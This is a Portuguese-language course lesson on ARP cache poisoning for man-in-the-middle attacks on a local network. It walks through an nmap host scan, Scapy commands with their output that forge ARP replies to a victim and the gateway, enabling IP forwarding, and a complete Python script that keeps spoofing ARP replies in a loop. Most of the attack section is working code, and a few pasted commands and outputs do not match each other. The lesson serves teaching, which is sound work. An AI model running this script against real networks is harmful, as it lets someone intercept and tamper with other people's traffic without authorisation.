Arp Cache Poisoning

Relembrando o protocolo ARP

1. O que é
Vimos há algumas aulas sobre o protocolo ARP e como ele funciona, mas aqui vai um breve resumo para relembrá-lo. O Address Resolution Protocol (ARP) é responsável por fazer a ligação da camada de rede com a de enlace, mapeando um endereço de rede (como um IPv4) a um endereço Ethernet (como um MAC), permitindo a existência de redes com múltiplos acessos.
2. ARP Cache
Os hosts da rede mantêm uma tabela que mapeia um endereço IP a um endereço MAC em cada linha (temporária), que é preenchida quando acontece uma resolução de um IP que não consta na ARP cache. Com esse mapeamento, enquanto houver comunicação entre dois hosts, não é necessário fazer novas resoluções de IP através de ARP requests.
Nesse caso, a ARP Cache do Host A possui a linha do IP do Host C preenchida com o MAC dele, então é possível estabelecer uma conexão direta de A para C sem que haja um novo ARP request.

Ataque Man In the Middle (MITM)

A ideia do ataque é simples: o invasor se posiciona entre as duas pontas de uma comunicação, interceptando as mensagens trocadas. Na prática, no entanto, é algo um pouco mais complexo, pois para funcionar direito, o atacante não pode ser detectado.

Sobre o ataque

1. Objetivo
O objetivo desse ataque é "envenenar" a arp cache, tanto da vítima quanto do gateway padrão (dentro de uma rede), escrevendo informações falsas nelas e fazendo com que o atacante finja ser o gateway para a vítima e vice-versa (um MITM). O invasor, então, encaminha os dados para os devidos endereços, tornando uma comunicação completa, porém agora tudo passa por ele, o que cria uma abertura para outros tipos de ataque.
2. Como funciona
Antes de fazer o ataque em si, o invasor precisa conhecer os IPs da vítima e do gateway e, para isso, ele faz um scan na rede e identifica esses dados.
Com isso em mãos, o atacante realiza broadcasts para descobrir os respectivos MACs daqueles IPs e, no momento em que as ARP caches forem atualizadas, ele irá mandar um "replies safados", sobrepondo os MACs do gateway e da vítima com o seu no lugar.
Nesse momento, as comunicações serão entre gateway e invasor e entre vítima e invasor. Para se manter em anonimato, o invasor redireciona os pacotes que recebe, fechando a comunicação original.

O ataque na prática

Para realizar o ataque, usaremos duas ferramentas, principalmente: o nmap e o scapy
Nmap
Falaremos melhor em aulas futuras, mas, resumidamente, é um programa que realiza port scan, descobrindo hosts e serviços em uma rede.
Scapy
Scapy é uma ferramenta que permite ao usuário enviar, sniffar, dissecar e forjar pacotes.
1. Instalação
1
$ git clone https://github.com/secdev/scapy.git
2
$ cd scapy
3
$ sudo python3 setup.py install
Copied!
ou
1
$ sudo apt install python3-scapy
Copied!
O ataque
  • Passo 0: identificar hosts (vítimas) na rede
1
$ sudo nmap 192.168.1.0/24 -sC
Copied!
Supondo que o atacante tenha achado o host 192.168.1.101
  • Iniciando o Scapy
1
$ scapy
Copied!
  • 1º passo: Identificar o MAC Address da vítima e do default gateway
  • Solução: arp request e arp reply
  • Default gateway:
1
>>> arprequest1 = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst = "192.168.1.1")
2
>>> arprequest1.show()
3
###[ Ethernet ]###
4
dst= ff:ff:ff:ff:ff:ff
5
src= 28:56:5a:49:ff:67
6
type= ARP
7
###[ ARP ]###
8
hwtype= 0x1
9
ptype= IPv4
10
hwlen= None
11
plen= None
12
op= who-has
13
hwsrc= 28:56:5a:49:ff:67
14
psrc= 192.168.1.103
15
hwdst= 00:00:00:00:00:00
16
pdst= 192.168.1.1
17
18
>>> arpreply1 = srp(arprequest1)
19
Begin emission:
20
Finished sending 1 packets.
21
*
22
Received 1 packets, got 1 answers, remaining 0 packets
23
>>> arpreply1[0][0][1]
24
(<<Ether dst=28:56:5a:49:ff:67 src=c4:e9:84:9a:14:16 type=ARP |<ARP
25
hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=c4:e9:84:9a:14:16
26
psrc=192.168.1.1 hwdst=28:56:5a:49:ff:67 pdst=192.168.1.103 |>>)
Copied!
Observe que o arp request faz um broadcast (dst=ff:ff:ff:ff:ff:ff:ff), carrega a operação 1 (who-has), com o hwdst (MAC address de destino) desconhecido e o pdst (IP de destino ) 192.168.1 . Ou seja, quando enviado com o srp pergunta à todos qual é o MAC do 192.168.1.1 e aguarda uma resposta.
O gateway recebe essa request e envia uma reply que chega como retorno do srp (arpreply1). É possível perceber que o arpreply1 carrega a operação 2 (is-at) e tem como hwsrc (MAC Address de onde saiu) c4:e9:84:9a:14:16, que é justamente o MAC do gateway que queríamos.
  • Vítima:
1
>>> arprequest2 = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst = "192.168.1.101")
2
>>> arprequest2.show()
3
###[ Ethernet ]###
4
dst= ff:ff:ff:ff:ff:ff
5
src= 28:56:5a:49:ff:67
6
type= ARP
7
###[ ARP ]###
8
hwtype= 0x1
9
ptype= IPv4
10
hwlen= None
11
plen= None
12
op= who-has
13
hwsrc= 28:56:5a:49:ff:67
14
psrc= 192.168.1.103
15
hwdst= 00:00:00:00:00:00
16
pdst= 192.168.1.101
17
18
>>> arpreply2 = srp(arprequest2)
19
Begin emission:
20
Finished sending 1 packets.
21
*
22
Received 1 packets, got 1 answers, remaining 0 packets
23
>>> arpreply2[0][0][1]
24
(<<Ether dst=28:56:5a:49:ff:67 src=c4:e9:84:9a:14:16 type=ARP |<ARP
25
hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=b4:2e:99:f4:b7:df
26
psrc=192.168.1.1 hwdst=28:56:5a:49:ff:67 pdst=192.168.1.103 |>>)
Copied!
A mesma observação feita para o gateway vale para a vítima.
  • 2º passo: “envenenar” o arp cache da vítima na linha do default gateway, preenchendo com o MAC address do atacante
  • Solução: fake arp reply
1
>>> arppoison1 = ARP(op = 2, psrc = "192.168.1.1", pdst = "192.168.1.101", hwdst = "b4:2e:99:f4:b7:df")
2
>>> arppoison1.show()
3
###[ ARP ]###
4
hwtype= 0x1
5
ptype= IPv4
6
hwlen= None
7
plen= None
8
op= is-at
9
hwsrc= 28:56:5a:49:ff:67
10
psrc= 192.168.1.1
11
hwdst= b4:2e:99:f4:b7:df
12
pdst= 192.168.1.101
13
14
>>> send(arppoison1)
15
.
16
Sent 1 packets.
Copied!
Observe que o que está sendo enviado para a vítima (192.168.1.101 no MAC b4:2e:99:f4:b7:df) é que o IP 192.168.1.1 (default gateway) está (is-at) no MAC 28:56:5a:49:ff:67 (hwsrc) que na verdade é o MAC do atacante.
  • 3º passo: “envenenar” o arp cache do default gateway na linha da vítima, preenchendo com o MAC address do atacante
  • Solução: fake arp reply
1
>>> arppoison2 = ARP(op = 2, psrc = "192.168.1.101", pdst = "192.168.1.1", hwdst = "c4:e9:84:9a:14:16")
2
>>> arppoison1.show()
3
###[ ARP ]###
4
hwtype= 0x1
5
ptype= IPv4
6
hwlen= None
7
plen= None
8
op= is-at
9
hwsrc= 28:56:5a:49:ff:67
10
psrc= 192.168.1.101
11
hwdst= c4:e9:84:9a:14:16
12
pdst= 192.168.1.1
13
14
>>> send(arppoison1)
15
.
16
Sent 1 packets.
Copied!
Observe agora que o que está sendo enviado para o gateway (192.168.1.1 no MAC c4:e9:84:9a:14:16) é que o IP 192.168.1.101 (vítima) está (is-at) no MAC 28:56:5a:49:ff:67 (hwsrc) que na verdade é o MAC do atacante.
A partir desse momento, o gateway acha que a vítima está no MAC do atacante assim como a vítima acha que o gateway está no mesmo MAC malicioso.

Problemas

Porém, só com isso, esse ataque ainda não é efetivo por 2 motivos:
  1. 1.
    Os pacotes saem do gateway e chegam no atacante, mas não vão até a vítima, assim como saem da vítima e chegam no atacante, mas não vão pro gateway. É preciso fazer com que o atacante encaminhe os pacotes para o IP certo quando passam por ele.
  2. 2.
    A arp cache possui um tempo de verificação de linhas obsoletas, fazendo novos arp requests para atualizá-la. Após o ataque ser feito uma vez, depois de um curto período de tempo, a cache voltaria ao normal.

Soluções

  1. 1.
    Para encaminhar pacotes para os devidos IP's exitem 2 maneiras:
Pelo próprio kernel
1
$ echo 1 > /proc/sys/net/ipv4/ip_forward
Copied!
ou
Utilizando o iptables
1
sudo apt install iptables
Copied!
  1. 1.
    Para burlar o refresh da arp cache, o atacante pode enviar continuamente fake replys para sempre que um request for feito, já haja um fakereply pronto para responder. E isso pode ser feito com um script em python.
1
from scapy.all import *
2
import time
3
4
def getmac(targetip):
5
arppacket = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
6
targetmac = srp(arppacket)[0][0][1].hwsrc
7
return targetmac
8
9
def poisonarpcache(targetip, targetmac, sourceip):
10
spoofed = ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
11
send(spoofed)
12
13
def restorearp(targetip, targetmac, sourceip, sourcemac):
14
packet = ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
15
send(packet)
16
print ("ARP Table restored to normal for", targetip)
17
18
def main():
19
targetip = input("Enter Target IP:")
20
gatewayip = input("Enter Gateway IP:")
21
22
try:
23
targetmac = getmac(targetip)
24
except:
25
print("Target machine did not respond to ARP broadcast")
26
quit()
27
28
try:
29
gatewaymac= getmac(gatewayip)
30
except:
31
print("Gateway is unreachable")
32
quit()
33
34
try:
35
print ("Sending spoofed ARP replies")
36
while True:
37
time.sleep(5)
38
poisonarpcache(targetip, targetmac, gatewayip)
39
poisonarpcache(gatewayip, gatewaymac, targetip)
40
41
except KeyboardInterrupt:
42
print ("ARP spoofing stopped")
43
restorearp(gatewayip, gatewaymac, targetip, targetmac)
44
restorearp(targetip, targetmac, gatewayip, gatewaymac)
45
quit()
46
47
if __name__=="__main__":
48
main()
Copied!

Referências